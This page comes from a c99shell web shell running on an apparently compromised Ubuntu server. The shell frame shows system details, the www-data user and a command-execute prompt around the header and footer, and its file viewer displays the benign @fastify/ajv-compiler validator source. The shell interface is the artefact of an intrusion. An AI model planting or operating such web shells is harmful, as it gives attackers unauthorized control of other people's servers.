Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 uid=33(www-data) gid=33(www-data) groups=33(www-data) Safe-mode: OFF (not secure) /usr/local/lib/node_modules/homebridge-config-ui-x/node_modules/@fastify/ajv-compiler/ drwxr-xr-x | |
| Viewing file: Select action/file-type: 'use strict'
const Ajv = require('ajv')
function ValidatorSelector () {
const validatorPool = new Map()
const cache = new Map()
cache.put = cache.set
return function buildCompilerFromPool (externalSchemas, options) {
const externals = JSON.stringify(externalSchemas)
const ajvConfig = JSON.stringify(options.customOptions)
const uniqueAjvKey = `${externals}${ajvConfig}`
if (validatorPool.has(uniqueAjvKey)) {
return validatorPool.get(uniqueAjvKey)
}
const compiler = ValidatorCompiler(externalSchemas, options, cache)
validatorPool.set(uniqueAjvKey, compiler)
return compiler
}
}
function ValidatorCompiler (externalSchemas, options, cache) {
// This instance of Ajv is private
// it should not be customized or used
const ajv = new Ajv(Object.assign({
coerceTypes: true,
useDefaults: true,
removeAdditional: true,
// Explicitly set allErrors to `false`.
// When set to `true`, a DoS attack is possible.
allErrors: false,
nullable: true
}, options.customOptions, { cache }))
if (options.plugins && options.plugins.length > 0) {
for (const plugin of options.plugins) {
if (Array.isArray(plugin)) {
plugin[0](ajv, plugin[1])
} else {
plugin(ajv)
}
}
}
const sourceSchemas = Object.values(externalSchemas)
for (const extSchema of sourceSchemas) {
ajv.addSchema(extSchema)
}
return function ({ schema/*, method, url, httpPart */ }) {
// Ajv does not support compiling two schemas with the same
// id inside the same instance. Therefore if we have already
// compiled the schema with the given id, we just return it.
if (schema.$id) {
const stored = ajv.getSchema(schema.$id)
if (stored) {
return stored
}
}
return ajv.compile(schema)
}
}
module.exports = ValidatorSelector
|
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.005 ]-- |